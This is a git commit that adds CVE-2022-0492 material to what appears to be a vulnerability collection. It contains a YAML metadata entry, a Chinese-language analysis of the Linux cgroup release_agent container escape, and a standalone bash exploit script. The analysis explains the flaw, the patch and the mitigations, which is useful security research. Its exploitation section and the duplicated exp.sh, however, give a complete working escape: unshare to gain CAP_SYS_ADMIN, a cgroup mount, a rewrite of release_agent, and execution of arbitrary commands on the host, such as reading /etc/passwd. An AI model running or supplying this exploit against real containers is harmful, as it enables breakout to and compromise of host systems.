add CVE-2022-0492

This commit is contained in:
Alex 2023-03-08 19:52:05 +08:00
parent 51837d57ab
commit 1c9f712bdb
14 changed files with 430 additions and 0 deletions

View File

@ -0,0 +1,19 @@
id: CVE-2022-0492
source: https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
info:
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
severity: 高危
description: |
A vulnerability was found in the Linux kernels cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly.
scope-of-influence:
2.6.24-rc1~5.17-rc3
reference:
- http://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-0492
- https://nvd.nist.gov/vuln/detail/CVE-2022-0492
- https://git.kernel.org/linus/24f6008564183aa120d07c03d9289519c2fe02af
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2022-0492
cwe-id: CWE-287
tags: 权限提升,容器逃逸,cve2022

View File

@ -0,0 +1,314 @@
# CVE-2022-0492 容器逃逸分析
[toc]
## 漏洞简介
漏洞编号: CVE-2022-0492
漏洞产品: linux kernel - cgroup
影响版本: ~linux kernel 5.17-rc3
漏洞危害: 当容器没有开启额外安全措施时获得容器内root 权限即可逃逸到宿主机
## 环境搭建
在存在漏洞版本的内核的linux中使用docker 即可。
```shell
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
本文用docker 做为实验环境。
## 漏洞原理与相关知识
该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。
### 漏洞发生点
分析补丁patch 了`cgroup_release_agent_write` 函数增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了
![image-20220310201629995](img/image-20220310201629995.png)
所以确定该漏洞为失效的访问控制。
### cgroup 简介
cgroup 即Linux Control Group 是Linux内核的一个功能用来限制控制与分离一个进程组群的资源如CPU、内存、磁盘输入输出等
cgroup 有如下子系统:
1. `devices` 进程范围设备权限
2. `cpuset` 分配进程可使用的 CPU数和内存节点
3. `cpu` 控制CPU占有率
4. `cpuacct` 统计CPU使用情况例如运行时间throttled时间
5. memory 限制内存的使用上限
6. `freezer` 暂停 Cgroup 中的进程
7. `net_cls` 配合 tc(traffic controller)限制网络带宽
8. `net_prio` 设置进程的网络流量优先级
9. `huge_tlb` 限制 HugeTLB 的使用
10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测
宿主机中的cgroup 都在`/sys/fs/cgroup` 下可以看到各个cgroup 子系统:
![image-20220311113636040](img/image-20220311113636040.png)
docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点docker中查看memory cgroup
![image-20220311113811776](img/image-20220311113811776.png)
主机docker 目录中的对应容器名节点,一模一样:
![image-20220311113853019](img/image-20220311113853019.png)
#### cgroup 使用
cgroup 是通过文件系统的形势来使用的,通过`mount` 将cgroup 挂在到一个目录cgroup 通过VFS虚拟文件系统和我们交互cgroup 的接口通过文件的形势呈现直接使用文件的操作方式对cgroup进行一些参数的设置。
```
mount -t cgroup -o memory cgroup /tmp/testcgroup
```
![image-20220311111853198](img/image-20220311111853198.png)
可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。
#### release_agent
cgroup的每一个subsystem都有参数`notify_on_release`,这个参数值是`Boolean`型1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1)当cgroup不再包含任何任务时即cgroup 中最后一个进程退出的时候cgroup的`tasks`文件里的PID为空时系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。
![image-20220311114023546](img/image-20220311114023546.png)
漏洞发生就位于对release_agent 的修改在原本只要可以操作cgroup 便可对release_agent 进行修改而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。
### unshare 命令
`unshare` 命令功能为取消指定的共享父进程中指定的命名空间然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。**
![image-20220311102635204](img/image-20220311102635204.png)
## 漏洞利用
本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。
### 利用条件
漏洞利用条件和传统release_agent 逃逸的利用条件区别是:
**传统release_agent**容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。
**cve-2022-0492**:容器裸奔(更细化一点就是seccomp 不禁用`unshare`apparmor 不开启cgroup只读关闭selinux)获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。
值得一提的是docker 的apparmor 默认会开启cgroup 只读docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。
**漏洞修复后**:根据补丁的代码:
![image-20220310201629995](img/image-20220310201629995.png)
想要修改release_agent 文件需要具备两个条件:
1. 是根命名空间
2. 拥有CAP_SYS_ADMIN cap权限
所以在漏洞修复之后,通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。
### 漏洞利用
#### 获得CAP_SYS_ADMIN
如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器)则带有CAP_SYS_ADMIN权限则不需要我们额外获取如如下启动命令
```sh
#带有sys_admin 启动docker 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令:
```sh
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
```
没有CAP_SYS_ADMIN通过如下`unshare` 命令获得CAP_SYS_ADMIN权限
```shell
unshare -UrmC --propagation=unchanged bash
```
新获得的命名空间拥有全部的capbilities权限。
![image-20220311102635204](img/image-20220311102635204.png)
#### mount cgroup与获取容器在宿主机中的路径
将cgroup mount到一个目录这一步由于用到了`mount `所以需要CAP_SYS_ADMIN 权限经过上一步我们或自带CAP_SYS_ADMIN要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外我们还需要在刚`mount `的cgroup 中创建一个cgroup节点方便后续我们做清空task 的操作:
```sh
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
```
**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。**
通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息`upperdir` 就是容器根目录在宿主机上的绝对路径:
![image-20220311104701790](img/image-20220311104701790.png)
通过如下命令可以获取:
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```
#### 修改release_agent 触发逃逸
将`notify_on_release`设置为1开启task 进程清空后执行release_agent功能
```sh
echo 1 > /tmp/testcgroup/x/notify_no_release
```
创建release_agent 触发时执行的文件:
```sh
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
```
修改release_agent 指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径)
```sh
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
```
接下来向x cgroup 节点中输入一个任务将自己所属的sh 的pid 写入cgroup.procs。
```sh
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
```
sh 命令只执行了一个`echo` 指令一瞬间就会结束那么x cgroup 节点中就没有任何任务了,触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功:
![image-20220311110810458](img/image-20220311110810458.png)
### exp
根据流程写了个exp
```shell
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
```
直接运行,接一个你想逃逸执行的命令作为参数:如:`./exp.sh "cat /etc/passwd"`
逃逸成功:
![image-20220311153511050](img/image-20220311153511050.png)
## 缓解措施
docker 默认状态是开启seccomp 和apparmor 的漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施需要手动开启seccomp 和apparmor 或selinux。
## 参考
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
除此之外还问了参与挖这个漏洞的人

View File

@ -0,0 +1,97 @@
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB